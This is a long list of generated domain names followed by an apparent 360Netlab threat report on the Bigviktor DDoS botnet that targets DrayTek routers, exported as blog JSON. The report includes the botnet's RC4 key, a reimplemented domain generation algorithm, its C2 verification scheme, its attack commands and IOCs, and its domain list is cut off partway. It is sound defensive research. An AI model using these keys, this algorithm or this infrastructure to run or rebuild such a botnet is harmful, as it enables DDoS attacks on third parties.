leavekindeducation.club
includecorrectmembership.futbol
continueinitialgrocery.realty
workrelevant-tackle.observer
feelinternal-grandfather.link
playsafeunion.link
know-deep-brick.nl
offerillegaldrink.fans
writeoldpolice.one
offerdowntown-stand.top
spendopeningchart.realty
losefewmouth.org
staymaterialcash.observer
sitpastgirl.futbol
providetraditionalanybody.realty
buildnicelake.one
www2.killnumerousdriver.nl
haveappropriatewhite.realty
dovegetableguard.tel
mail.sendconsistentsafety.info
remember-independentstorm.net
startequivalentship.org
think-leftcapital.pictures
work-basicexpert.info
considerhonest-north.nl
a.callresponsible-difference.observer
walktimefuneral.one
allowroundminute.xyz
gounable-administration.tel
th.sendsilverscale.link
pull-particular-trainer.net
movegreengrowth.futbol
rununhappysecretary.fans
leaveangryextreme.link
loseeast-possibility.pictures
live-prettyhalf.fans
images.cutnegativeentrance.club
beginslight-application.nl
understandboring-drink.click
secure.askafterjoin.realty
learnstillintroduction.click
comegladsalt.realty
sitgrandbench.art
watcheducationalcloset.nl
appearoldboss.tel
remainmaximumrepublic.fans
buyavailablestay.net
play-happyrefrigerator.tel
understand-leftnet.tel
spendgamenurse.tel
add-localmuscle.art
understandvisiblefire.rocks
www.runjuniorstress.observer
runold-response.art
continuepracticalswitch.observer
sellextension-fall.click
start-negativecourse.com
spendlegalrepeat.com
diecornerconsideration.click
leadresident-drive.futbol
www.payforeignglad.club
play-logical-unit.net
become-used-grass.pictures
cutsubstantialdeal.rocks
standfinalbid.art
leaddependenttale.futbol
die-used-back.in
play-flatambition.nl
raiseagent-pressure.art
openthenmouse.top
readobviouscow.info
useresidentfunction.tel
standafterpicture.observer
raise-proofmight.xyz
needfarking.club
showseriousback.art
smtp.sitprizerelative.observer
raiseextensionmuscle.art
know-financiallecture.rocks
lookdeepmake.com
providenewexamination.click
keep-constantfinish.click
feelconnectconcert.link
noc.buildacceptablewait.futbol
openexactanimal.one
send-bestweb.one
expectstrangeprocedure.realty
passsevereconfidence.club
x.setentire-cup.pictures
server.thinkpurplerepeat.info
download.paytightcomparison.top
goagent-read.in
sendcapital-recording.xyz
follow-femaleside.nl
likecoldclient.net
happen-sparelay.click
makedecent-individual.net
waitwhite-bit.nl
sellwestreport.fans
work-realisticdevelopment.art
goworkingprize.rocks
do-plenty-cross.realty
takethink-force.observer
suggestsevereblood.art
meandirtybox.nl
admin.loveeastfood.org
staymental-energy.xyz
go-local-gap.club
email.servepoliticalhighway.org
callnorthkiss.club
email.takesilver-impact.rocks
sellweirdsensitive.club
staydifferentobject.nl
writesilverstruggle.net
server.allowdrunkabuse.com
livestatusnail.in
movetimething.nl
reportresponsibleswitch.tel
writeseparateliterature.com
sitnearby-tackle.nl
addpsychologicalbuilding.org
buy-moremarch.click
serveofficialpoint.art
comesmartfeeling.one
ww1.be-lostwindow.net
addavailablekind.xyz
bringupstairs-adult.realty
set-consistent-property.one
watchaggressivecategory.info
begin-both-branch.futbol
th.runroutineinvite.net
stopproofcommission.info
play-culturalplate.nl
www2.read-incident-branch.net
comeeitherhelp.tel
appearlegalprocedure.net
seemmiddledelay.tel
meancreativecommittee.org
www1.believesimilar-thing.futbol
expectsouthinevitable.futbol
seemdress-homework.top
happen-homewave.rocks
addpuretop.art
tellreasonabledocument.click
growminimumtelevision.net
pop.come-awareyard.net
understandvisualstation.tel
secure.giveglad-city.art
likenearbystomach.realty
losecoolanalysis.fans
getoriginaltrash.click
includefamousdrag.fans
spendfamiliar-gather.tel
workmanychampionship.futbol
learnanother-inside.tel
sitbrightrope.com
openunhappypicture.futbol
www.trywide-principle.futbol
changeminor-march.futbol
workgeneraltrick.info
add-criticalvoice.art
buystraightdeep.fans
sayintelligentaspect.click
liveplasticcounty.click
decideillegalquality.top
feelgold-series.pictures
bbs.dodrunkanything.com
remainbothfeel.fans
bringeasttruck.com
createobviouspeople.top
considerproperproduct.com
adddeepresolve.link
help-recentspeech.pictures
happen-southcountry.art
servecorner-strength.com
email.likemobilelocation.click
readborn-access.pictures
a.takeuglyparent.com
meanmountainpride.click
believe-headrise.club
runaccordingload.nl
th.winrealpriority.rocks
hearnewnegative.observer
includedifferentdetail.observer
buildchickentraffic.fans
use-physicaldepression.tel
considerpowerfulfruit.observer
test.buy-timeshoulder.com
playsuddenbird.in
killseveral-city.one
takesignalincident.in
work-reasonablebreak.pictures
besadenvironment.art
showeastyard.one
seeprettyinspector.in
buygladexchange.art
raiseeastbedroom.xyz
letmad-juice.in
expecthappydrop.nl
begin-ordinarystupid.rocks
goaggressivenasty.xyz
writegloballandscape.in
putenvironmentalimagination.futbol
wantbrightear.one
consider-culturalmenu.net
pay-cornerfat.one
suggest-relativereputation.tel
cam.lookfewnewspaper.nl
turn-everybitter.net
find-cooloutcome.info
continueexpertcontract.tel
holdthickshift.observer
helpdeepsnow.click
trybitter-twist.pictures
pop.offersingle-preparation.in
seemsingleroof.observer
bbs.requireobviouscandle.xyz
turnroughcandy.net
hearnextchest.pictures
openhardmanagement.com
think-exactstroke.top
beginannualgirl.in
providechemical-release.top
th.usebestpull.com
www.dolatefruit.org
providebasicmiddle.org
secure.lookstupidvaluable.click
thinkrelevant-sail.nl
givelogical-brain.net
watchpotentialinitial.info
startinternalgolf.net
www.happen-openingcake.club
tftp.pullleastbeing.art
helpsaferepeat.com
thinksmartfact.net
cloud.let-specialcomparison.net
vpn.sellroughswitch.pictures
go-hungrycarpet.art
follownaturalmeasurement.futbol
stand-inevitabletradition.info
server.speakgooddog.futbol
feelsexualisland.observer
understandinternationalphrase.art
sellnativeself.nl
love-perfecthealth.link
a.waitloud-currency.observer
secure.raise-illdeparture.futbol
knowenvironmentalambition.observer
cam.believesaltleading.observer
thinkdeadsurprise.fans
offerfalse-education.observer
remainactive-beach.pictures
www1.raisefederalclimate.club
watchworkhalf.observer
serveokfinish.info
www2.reportcuriouswait.link
run-classicspray.tel
meetpastaccident.tel
playplasticaccount.club
standvaluablestay.com
runtraditionalmess.in
dev.move-significant-assignment.club
considercompletequality.one
addbornticket.one
ftp.createsorrymembership.nl
providefriendlycity.net
ssl.lovegreatglad.realty
wanteconomywash.net
gw.setusualdouble.realty
openminorboot.tel
becivilappearance.rocks
support.callactualsimple.click
rememberbasicsuggestion.one
saycompetitiveseat.in
lovefast-check.link
learnsouthern-art.rocks
considerprofessionalowner.tel
meanspecificclassroom.nl
bring-fewspare.xyz
read-obvious-stress.org
stand-eastappointment.art
killacceptabledump.click
happentypicalweather.one
email.stayupstairswave.top
webmail.doevening-literature.realty
admin.passbravesleep.observer
addboth-league.realty
raiseplastictowel.club
comelittlebit.org
gw.continuechoicelink.club
happenpopularfamiliar.fans
allow-classicscale.net
expecttightimagination.rocks
noc.beginonlypromise.art
serveappropriatebutton.one
usesillypermission.top
include-eachpension.pictures
remembertrainingpermit.rocks
understandfemale-equipment.pictures
dieresponsible-brief.link
tftp.offer-corner-border.one
saybriefgreat.realty
tellkindkeep.pictures
hold-tough-farmer.top
passnationaldifference.net
shop.send-deep-month.pictures
buystrictconsist.observer
offerremarkabledress.com
buycomprehensiveopening.tel
fall-appropriate-employee.art
seemheadchip.observer
sendremarkablesock.pictures
sell-psychological-board.club
meanimportantmarriage.in
stayconstanta.nl
knowfatmedium.one
providecriticalplay.click
beparkingtechnology.futbol
speakcuriousextension.futbol
www.speakwooden-evening.realty
allowcomplexleather.futbol
setaggressivewall.realty
leadchemicalsuccess.nl
createpracticalimportance.tel
likeremoteinitial.info
m.setsuddendesign.in
killmaintransportation.com
playcapitalsad.org
tftp.learnsorrytype.nl
keepwrongphone.futbol
let-emergencysinger.observer
offerafterbrick.link
seemcharactermixture.club
expectwild-concept.rocks
makesome-tower.click
sayasleepresource.art
remainyellowregular.tel
mean-lastoutside.org
www1.movestock-nose.nl
followemergency-camp.nl
offernoveloutside.xyz
looknicenorth.top
lovetrainingtoe.observer
leadwrongactor.in
th.consider-immediate-specialist.top
raiseslight-win.club
seemlonely-quality.info
tftp.buildappropriatevast.club
followalonewonder.rocks
web.growstillscreen.art
rememberprofessionalpresentation.rocks
requirestrongchip.pictures
tryanotherunique.club
decideopenwriting.com
helpunusual-daughter.pictures
email.followsmalldeparture.link
rememberbeautiful-test.top
send-searecipe.info
buypersonallife.xyz
createkitchenchild.click
havemuch-page.pictures
expectbackgroundaddition.observer
leavequietmarket.org
starthismix.link
movepresentinternational.realty
dointeresting-control.futbol
ww1.remainsoutherncity.pictures
usecarproduce.one
raiseeveningcorner.art
believesecret-female.net
happenlivingtill.one
shop.loseeaststill.xyz
decidefineentry.info
openphysicalsympathy.info
lovevisualdebate.nl
tryopeningwhile.link
have-plasticdrawer.top
news.tellpregnantratio.one
changeunhappysecond.observer
reportkitchen-formal.one
trypopularreplacement.click
trymaster-self.pictures
wantsecretdevice.rocks
feelwideestate.xyz
email.killcheap-poetry.futbol
letparkingbuddy.art
do-sensitivesex.info
cutmanymine.xyz
build-comprehensivepick.club
followdirty-reach.club
th.getunfairscene.futbol
changeintelligentdeep.com
considerhisreputation.nl
buildcurrentlesson.one
cloud.set-thinkpattern.one
bringdeep-revolution.one
askeducationalsuggestion.futbol
dopretendgear.com
ftp.pull-topsector.fans
bringbrightpull.in
work-afraidyard.art
standtalltarget.in
set-slight-proof.futbol
vpn.diefreeyesterday.futbol
liveequalbook.tel
learnpretendtechnology.net
startseparateopening.nl
find-yellownational.fans
callmedium-son.one
happenexternal-candy.click
stoptraditionalfuel.futbol
raisetotalapplication.art
spend-accordingwill.rocks
pullnearbywall.tel
talkeitherjuice.fans
continueunablebet.observer
img.cutwonderfulcheek.observer
followobviouscode.club
waitlonelygift.nl
passaggressivedefinition.pictures
ssl.putsea-people.club
killleadingexam.realty
waitotherwiserequirement.fans
feelpure-conference.rocks
stayoriginalprocess.fans
pulltimeswitch.observer
leadlevelcomfortable.xyz
startbriefeffective.net
sayembarrassed-maintenance.fans
wantrelevantbar.pictures
knowbornoutside.click
do-innerpen.club
tryresponsible-injury.click
webmail.remembersafehang.art
raisefewmix.in
holdstatus-forever.net
change-distinctrecording.net
comeplasticpermission.futbol
suggestgreatstudio.top
email.bringpretty-guide.org
changesouth-preference.org
wantseverebread.futbol
sellbettermail.observer
decideawayad.futbol
staymassive-yellow.xyz
www1.understandusefulpaint.org
workcheap-disaster.nl
letpatientunique.link
watchfair-bug.nl
holdasleepstructure.observer
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## Overview\nOn June 17, 2020, 360Netlab Threat Detecting System flagged an interesting ELF sample (```dd7c9d99d8f7b9975c29c803abdf1c33```), further analysis shows that this is a DDos Bot program that propagates through the [CVE-2020-8515](https://nvd.nist.gov/vuln/detail/CVE-2020-8515) vulnerability which targets the DrayTek Vigor router device, and it uses DGA (Domain generation algorithm) to generate C2 domain names.\n\nThe program uses \"viktor\" as file name (``` /tmp/viktor```) in the propagation process, also a special string ```0xB16B00B5```(big boobs) was used in the sample , we combined the two and named it **Bigviktor**.\n\nFrom the network’s perspective, Bigviktor’s DGA generates 1000 domain names every month, and traverses the 1000 domain names by requesting RC4 encryption & ECSDA256 signed **s.jpeg** , When a live C2 responses the request, bot then takes the next step to request for **image.jpeg** from C2 to get more instructions.\n\nBigviktor supports 8 kinds of instructions, which can be divided into 2 major functions\n\n•\tDDoS attack\n•\tSelf-renewal\n\nThe overall network structure is shown in the figure,\n\n<a href=\"__GHOST_URL__/content/images/2020/07/bigviktor_brief.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bigviktor_brief.png\" class=\"kg-image\"/></a>\n## Botnet scale\n### Daily Active Bot \n\nDGA is a double-edged sword. While giving the author good chance to evade detection, it also gives security researcher the opportunity to register domain names to hijack infected hosts of botnets.\nWe registered several domains names generated by Bigviktor in June and July (`workfrequentsentence.club` , `waitcornermountain.club`), so we were able to tap into it network to measure the scale of the Botnet. As of now we only see about 900 active infected IPs. However, When taking a look at the requests of Bigviktor DGA domain name, we can see the trend is steadily going up. Its daily active Bot trend is shown in the figure below:\n\n<a href=\"__GHOST_URL__/content/images/2020/07/bigviktor.dns.req.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bigviktor.dns.req.m.png\" class=\"kg-image\"/></a>\n### Bot geographic location\nThe IP area distribution of infected devices is as follows:\n<a href=\"__GHOST_URL__/content/images/2020/07/bigvictor.geo.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bigvictor.geo.m.png\" class=\"kg-image\"/></a>\nThe main ASN distribution of these IPs is as follows:\n```\n412\tAS45899|VNPT_Corp\n194\tAS7552|Viettel_Group\n190\tAS18403|The_Corporation_for_Financing_&_Promoting_Technology\n90\tAS3462|Data_Communication_Business_Group\n82\tAS15525|Servicos_De_Comunicacoes_E_Multimedia_S.A.\n66\tAS8151|Uninet_S.A._de_C.V.\n52\tAS45903|CMC_Telecom_Infrastructure_Company\n34\tAS3352|Telefonica_De_Espana\n28\tAS17552|True_Internet_Co.,Ltd.\n22\tAS8881|1&1_Versatel_Deutschland_GmbH\n```\n\n### Infected device\nBy obtaining the title of the infected device's 80, 8080, and 443 port web pages, we know that the currently distributed version of the infected DrayTek Vigor router is:\n```\n269 Vigor 2960\n107 Vigor 3900\n87 Vigor 300B \n```\n## Reverse analysis\nWe have captured a total of 2 versions. The first version of the bot program seems to have bugs and cannot run normally. This article uses the latest version as an example for reverse analysis.\n\n```\nMD5:dd7c9d99d8f7b9975c29c803abdf1c33\nELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped\nPacker: None\n```\n\n\nGenerally speaking, the Bigviktor function is relatively simple. It binds a local port at runtime to implement a single instance, uses the RC4 algorithm to decrypt sensitive resources, including the strings to be used by DGA, and then uses DGA to generate 1000 C2 domain names based on these strings. Then the bot uses the libcurl library to send a request to the built-in legit websites to test network connectivity. If the network is up, it moves on to next step to request the s.jpeg from the C2 domain to verify the legitimacy of C2; after passing the legality test, it goes to final step to request the male.jpeg and image.jpeg resources from the C2 domain to conduct DDos attack. \n\nWe can roughly divide the bot behaviors into two categories: auxiliary behavior and malicious behavior, let us take a close look.\n\n## Auxiliary behavior\n#### 1: Use libcurl library to access network resources\n```\nDNS Option:\n 1.1.1.1,8.8.8.8\nUser-Agent Option:\n Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\"\nAccept Option:\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\n```\n#### 2: Bind port 61322 to implement a single instance\n <a href=\"__GHOST_URL__/content/images/2020/07/bigviktor_single.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bigviktor_single.png\" class=\"kg-image\"/></a>\n\n#### 3: RC4 encrypts sensitive resources, the resources include the stings required by DGA, legit websites, upgrade file storage path, etc.\n<a href=\"__GHOST_URL__/content/images/2020/07/bigviktor_rc.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bigviktor_rc.png\" class=\"kg-image\"/></a>\n The RC4 key is\n ```\n DA B2 F1 F7 32 FD 03 BA 58 DB FF 53 8B F2 6F 01 \n 02 FF 00 01 03 05 00 DE 02 FF 00 01 7C DF 92 91\n ```\nTake the suffixes required by DGA to generate domain as an example, the ciphertext is as follows\n ```\n 00000000 34 f5 96 77 11 66 35 4f 1d ae b6 04 57 77 79 9d |4õ.w.f5O.®¶.Wwy.|\n 00000010 db 36 d4 a8 38 5a e2 9f 6a a2 79 bf 6a 6f bf 2f |Û6Ô¨8Zâ.j¢y¿jo¿/|\n 00000020 cb 84 63 d4 70 c7 64 11 c6 d0 71 b3 f0 bb 54 c9 |Ë.cÔpÇd.ÆÐq³ð»TÉ|\n 00000030 cc f7 50 60 e2 53 72 1a ae 87 61 17 88 b0 2a 04 |Ì÷P`âSr.®.a..°*.|\n 00000040 71 ec f8 3d cc 42 8b 28 27 81 9b 4d 80 0c 50 3f |qìø=ÌB.('..M..P?|\n 00000050 d5 01 4b 8d 62 48 7f 88 7f a0 09 b9 53 b0 a0 0d |Õ.K.bH... .¹S° .|\n 00000060 41 6c 59 cd 2a 42 36 f1 71 71 12 bf fd 59 66 52 |AlYÍ*B6ñqq.¿ýYfR|\n 00000070 b2 ab c4 1e c5 30 14 19 c8 08 82 ee 29 8c 54 ab |²«Ä.Å0..È..î).T«|\n 00000080 34 99 0e f1 15 c8 e6 69 5e 33 3c c7 c6 ee 44 8a |4..ñ.Èæi^3<ÇÆîD.|\n 00000090 c2 b4 7c 76 fc 08 cf cd 0c db 34 82 e0 08 40 52 |´|vü.ÏÍ.Û4.à.@R|\n 000000a0 07 ec d4 0e e9 57 ee 4f 2d 0b 7e 19 51 75 b4 10 |.ìÔ.éWîO-.~.Qu´.|\n 000000b0 3b 97 d8 29 64 aa 4b 5c 67 77 16 b6 36 4b 6d c2 |;.Ø)dªK\\gw.¶6KmÂ|\n 000000c0 47 09 bd b0 a7 d4 43 21 2c e5 af 41 8a ea 25 dc |G.½°§ÔC!,å¯A.ê%Ü|\n 000000d0 fe d3 18 28 bc 19 07 19 cd f0 84 51 9e 6a 3e b1 |þÓ.(¼...Íð.Q.j>±|\n 000000e0 5f 2a e0 13 51 ba 62 46 26 83 86 63 0b ed ad be |_*à.QºbF&..c.í.¾|\n 000000f0 59 51 e7 0b cf a7 d0 1a 94 e8 ed c2 cc f2 21 17 |YQç.ϧÐ..èíÂÌò!.|\n 00000100 e5 7a b5 6f 84 66 8a a1 c1 18 52 cb 50 38 6b ea |åzµo.f.¡Á.RËP8kê|\n 00000110 4b 10 13 56 13 b4 9c b2 3b b4 3e 4c 3c cc 01 cc |K..V.´.²;´>L<Ì.Ì|\n 00000120 81 ab 13 97 6c 49 e7 85 54 5f d0 92 3f 9b 7d a8 |.«..lIç.T_Ð.?.}¨|\n 00000130 44 72 81 54 50 4f e1 7f b5 fd 1a 78 3b 14 e3 d4 |Dr.TPOá.µý.x;.ãÔ|\n ```\n\nAfter decryption\n ```\n 00000000 61 72 74 00 00 00 00 00 00 00 00 00 00 00 00 00 |art.............|\n 00000010 63 6c 69 63 6b 00 00 00 00 00 00 00 00 00 00 00 |click...........|\n 00000020 63 6c 75 62 00 00 00 00 00 00 00 00 00 00 00 00 |club............|\n 00000030 63 6f 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 |com.............|\n 00000040 66 61 6e 73 00 00 00 00 00 00 00 00 00 00 00 00 |fans............|\n 00000050 66 75 74 62 6f 6c 00 00 00 00 00 00 00 00 00 00 |futbol..........|\n 00000060 69 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |in..............|\n 00000070 69 6e 66 6f 00 00 00 00 00 00 00 00 00 00 00 00 |info............|\n 00000080 6c 69 6e 6b 00 00 00 00 00 00 00 00 00 00 00 00 |link............|\n 00000090 6e 65 74 00 00 00 00 00 00 00 00 00 00 00 00 00 |net.............|\n 000000a0 6e 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |nl..............|\n 000000b0 6f 62 73 65 72 76 65 72 00 00 00 00 00 00 00 00 |observer........|\n 000000c0 6f 6e 65 00 00 00 00 00 00 00 00 00 00 00 00 00 |one.............|\n 000000d0 6f 72 67 00 00 00 00 00 00 00 00 00 00 00 00 00 |org.............|\n 000000e0 70 69 63 74 75 72 65 73 00 00 00 00 00 00 00 00 |pictures........|\n 000000f0 72 65 61 6c 74 79 00 00 00 00 00 00 00 00 00 00 |realty..........|\n 00000100 72 6f 63 6b 73 00 00 00 00 00 00 00 00 00 00 00 |rocks...........|\n 00000110 74 65 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 |tel.............|\n 00000120 74 6f 70 00 00 00 00 00 00 00 00 00 00 00 00 00 |top.............|\n 00000130 78 79 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 |xyz.............|\n ```\n\n\n#### 4: Access a legit website to test newtork connectivity and obtain the current date\n <a href=\"__GHOST_URL__/content/images/2020/07/bikviktor_white.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bikviktor_white.png\" class=\"kg-image\"/></a>\nThe legit websites can be decrypted by RC4, and we got the following sites\n ```\n jd.com weibo.com vk.com\n csdn.net okezone.com office.com\n xinhuanet.com babytree.com livejasmin.com\n twitch.tv naver.com aliexpress.com\n stackoverflow.com tribunnews.com yandex.ru\n soso.com msn.com facebook.com\n youtube.com baidu.com en.wikipedia.org \n twitter.com amazon.com imdb.com\n reddit.com pinterest.com ebay.com\n tripadvisor.com craigslist.org walmart.com\n instagram.com google.com nytimes.com\n apple.com linkedin.com indeed.com\n play.google.com espn.com webmd.com\n cnn.com homedepot.com etsy.com\n netflix.com quora.com microsoft.com\n target.com merriam-webster.com forbes.com\n tmall.com baidu.com qq.com\n sohu.com taobao.com 360.cn\n tianya.cn\n ```\nVisit one of these URLs to get the current date, which will be used in DGA.\n ```\n format %a, %d %b %Y\n Fri, 10 Jul 2020\n ```\n\n\n## Malicious behavior\n#### 1: Use the C2 domain name generated by DGA\nThe format of the domain name is``` [prefix.]verbe[-]adjective[-]noun.surfix```, the content in [] indicates optional, theprefix has 40 words, the verbe has 100 words, the adjective has 525 words, noun has 1522 words, and surfix has 20 words. The algorithm is implemented as follows\n ```\n void GenNewKey(uint32_t &key)\n {\n \tuint32_t tmp = key ^ (key << 13) ^ ((key ^ (uint32_t)(key << 13)) >> 17);\n \tkey = tmp ^ 32 * tmp;\n };\t\n \tstring c2url;\n \tGenNewKey(seed);\n //1:prefix part\n \tif (seed % 5 == 0)\n \t{\n \t\tGenNewKey(seed);\n \t\tc2url += prefix[seed % 40];\n \t\tc2url += \".\";\n \t}\n //2:verbe part\n \tGenNewKey(seed);\n \tc2url += verbe[seed % 100];\n \tGenNewKey(seed);\n \tif (seed % 10 <= 1)\n \t\tc2url += \"-\";\n //3:adj part\n \tGenNewKey(seed);\n \tc2url += adj[seed % 525];\n \tGenNewKey(seed);\n \tif (seed % 10 <= 1)\n \t\tc2url += \"-\";\n //4:noun part\n \tGenNewKey(seed);\n \tc2url += noun[seed % 1522];\n \tc2url += \".\";\n //5:surfix part\n \tGenNewKey(seed);\n \tc2url += surfix[seed % 20];\n ```\nThe current date converts into a string with format```%b %Y 00:00``` and the initial key is the first 4 bytes of the SHA256 value of the string, for example\n ```\n currtent date: Fri, 10 Jul 2020\n format\t---->Jul 2020 00:00\n sha256\t---->6ac0f83915ed5d7b9bb7055723084df001b16a552d758de3c415f083f931ab8c\n get first 4 bytes\t----> key=0x6ac0f839\n \n ```\nTherefore, the DGA doamin is different every month. Taking the July key (0x6ac0f839) as an example, the first 5 domains generated\n ```\n c2url: decidefresh-county.in\n c2url: payculturaltour.org\n c2url: standvisiblereach.rocks\n c2url: meanforwardcap.top\n c2url: raisefitsize.rocks\n ```\nWhen we observe the actual DNS data in packet, we can see the result matches. \n <a href=\"__GHOST_URL__/content/images/2020/07/bigviktor_first5.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bigviktor_first5.png\" class=\"kg-image\"/></a>\nSee the end of the article for all DGA domains in July.\n\n\n#### 2: Get the current effective C2\nTo connect to a vaild C2, Bigviktor start from a random position of the 1000 DGA domains. If there is no valid C2, it goes back to the first domain name and start over again. \nIn order to ensure that the network is completely controllable and not stolen by others, Bigviktor will verify the signature of the s.jpeg file. Only after passing the signature verification, a C2 is deemed valid.\n\n <a href=\"__GHOST_URL__/content/images/2020/07/bigviktor_sjpeg.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bigviktor_sjpeg.png\" class=\"kg-image\"/></a>\n\nThe real payload encryption is hidden in the jpeg (```s.jpeg;image.jpeg```)file. The structure of jpeg is ```IMAGE DATA(16 BYTES): Half-RC4 KEY(16 BYTES): Ciphertext```. Each ```sample``` integrates a Half-RC4 KEY(16 BYTES),each ```payload``` integrates a Half-RC4 KEY(16 BYTES), two Half-RC4 keys are spelled into a complete RC4 key(32 BYTES); also a hard-coded ```ECDSA256 public key``` is used to verify the decrypted payload.\n\n```\n Half-RC4 KEY:\n 82 BC 09 D5 47 A9 37 27 8F ED F1 7B 29 2A FA 67\n Pub KEY:\n 03 2F 37 51 43 1F A3 58 81 66 86 F7 BA 4C A2 30 \n 45 2C 9B 9E 12 9A E9 97 CF 69 09 CF 7F 42 D4 97 88 \n```\n \nTake s.jpeg(md5:4c6d0bed21bc226dbaf4e6adc7402563) as an example\n<a href=\"__GHOST_URL__/content/images/2020/07/bigviktor_de.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bigviktor_de.png\" class=\"kg-image\"/></a>\n\nSplice out the complete RC4 key\n\n```\n Half RC4 KEY from s.jpeg + Half Rc4 from sample\n ------------------------------------------------------\n 46 00 B2 65 B0 3F 97 7F CF CB 65 31 1F D2 B3 A0\n 82 BC 09 D5 47 A9 37 27 8F ED F1 7B 29 2A FA 67\n```\n \nDecrypt Ciphertext to get\n <a href=\"__GHOST_URL__/content/images/2020/07/bigvitor_deres.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bigvitor_deres.png\" class=\"kg-image\"/></a>\nWhen the verification is successful, a valid C2 is obtained.The procedures of verification need to meet these condition\n* signature verification\n* Plaintext[2] ==\\x00,Plaintext[3] ==\\x09\n* C2 in the plaintext is same as the Dga domain which responds to the s.jpeg request. \n\n#### 3:Ask for specific tasks from C2\nAfter the Bot obtains a valid C2, it will request the image.jpeg resource from C2\n <a href=\"__GHOST_URL__/content/images/2020/07/bigviktor_task.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bigviktor_task.png\" class=\"kg-image\"/></a>\nSimilarly, image.jpeg also needs to be decrypted and verified. After successful verification, the Bot will perform the corresponding DDos attack or update according to the instructions of image.jpeg. \n\nBigviktor supports a total of 8 operations,\n\n\n| cmd | cmd description |\n| ---- | -------------------------------------------------- |\n| 1 | null |\n| 2 | connect attack |\n| 3 | tcp syn attack with fixed source ip |\n| 4 | tcp syn attack with random source ip |\n| 6 | update |\n| 7 | tcp syn attack with random sourceip from male.jpeg |\n| 8 | tcp syn attack with random sourceip from male.jpeg |\n| 9 | null |\nTake a payload from June,image.jpeg(md5:```2e8c223f8ac1f331c36acd32ee949f6f```) as an example\n <a href=\"__GHOST_URL__/content/images/2020/07/bigviktor_raw.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bigviktor_raw.png\" class=\"kg-image\"/></a>\n Decrypt Ciphertext to get\n <a href=\"__GHOST_URL__/content/images/2020/07/bigviktor_attack.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bigviktor_attack.png\" class=\"kg-image\"/></a>\n We can see that bot will launch \"connect\" ddos attack and the target is 202.162.108.55:80. The result matches the pcap info.\n <a href=\"__GHOST_URL__/content/images/2020/07/bigviktor_pcap.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bigviktor_pcap.png\" class=\"kg-image\"/></a>\n## Contact us\nReaders are always welcomed to reach us on [twitter](https://twitter.com/360netlab), or email to netlab at 360 dot cn.\n## IOC\n\nSample MD5\n\n```\n7b1ab096b63480864df7b0dcfebe2e2e\ndd7c9d99d8f7b9975c29c803abdf1c33\n```\n\nURL\n```\nhttp://91[.219.75.87/binary\nhttp://91[.219.75.87/arm7\n```\n\nC2-IP\n\n```\n151.80.235.228 AS16276|OVH_SAS France|Hauts-de-France|Gravelines\n```\n\nC2-Domain\n\n```\nuseinsidehigh.com:80\nwriteseparateliterature.com:80\n```\n\nPayload\n\n```\n4c6d0bed21bc226dbaf4e6adc7402563\t\ts.jpeg\n2e8c223f8ac1f331c36acd32ee949f6f\t\timage.jpeg\n```\nDGA domains in July\n```\ndecidefresh-county.in\npayculturaltour.org\nstandvisiblereach.rocks\nmeanforwardcap.top\nraisefitsize.rocks\nwww2.tellapartspring.realty\nexpectrawknee.com\ndecidesurepizza.rocks\nimg.leavetall-sky.nl\ndodifferentuser.fans\nbecome-thatspare.futbol\nplay-better-parent.observer\ntelldesignerpanic.art\nappear-weakrate.observer\nsupport.showremote-conclusion.fans\nraiseover-piano.org\nmeancoolpick.pictures\nbringjunior-bench.art\nssl.remainunhappyboy.info\nreadafterask.net\nleavelogicalambition.tel\ntakedramaticprimary.rocks\ntest.likerarereality.xyz\ncloud.runconstantnerve.fans\nstopseafemale.observer\noffer-individualthroat.fans\nmeanthickprivate.info\nturnfederalemploy.art\ntellcold-top.one\nmail2.comefirmdeposit.nl\nliketypicalcorner.net\nbuyliving-balance.observer\nvideo.continueleft-contact.nl\naskformer-mission.top\nlearnaggressive-she.org\nemail.hearlateformal.in\nkeepunitedbirth.art\nturntruebreakfast.futbol\ncutmaingolf.art\ndev.likefemalepush.rocks\ndev.holdfeelingpreference.click\nfindvariousfish.tel\ntftp.seempowerful-south.art\nvideo.comepureproposal.link\nwatchcapable-sample.rocks\ngrowborn-law.click\nbringefficientvalue.one\nbeginlower-man.nl\nspeakoriginalworld.one\nputmoneyearth.fans\nhave-wastebutton.futbol\nfindwildcollar.info\nlivepotentialdebt.pictures\nmail.pull-capableprofession.tel\npassbornsafe.rocks\nspendcuteform.realty\nwalkgrandspot.pictures\ntake-scaredline.art\nset-expensiveice.click\ngetnovelscratch.in\nlook-existinghang.com\ncloud.considerunhappymain.click\nwww.hold-futuredisk.rocks\nopenlegalbus.fans\nblog.hearfreshmachine.tel\nmail.callthatcouple.click\nleaveswimming-cold.one\ngo-healthyproject.observer\nmeanconnect-construction.nl\nwalknervous-video.nl\nbecomelast-western.com\nremembersquare-sale.info\nprovide-roundwill.com\nblog.standswimming-double.rocks\nsecure.seem-famoushire.tel\nspeakotheropening.org\nholdsudden-psychology.top\nhold-frontfilm.one\nbringbusinesshold.realty\ngiveacceptablepay.link\nallowremoteindependent.pictures\nhelpsillyhate.click\nknowyellowinstruction.info\nseeinternationalmachine.art\nconsidermalescrew.click\npaylife-camp.tel\nmakeold-course.com\nwww2.becomewarmrefrigerator.nl\ndownload.decidewisecourt.rocks\nlose-originalemployer.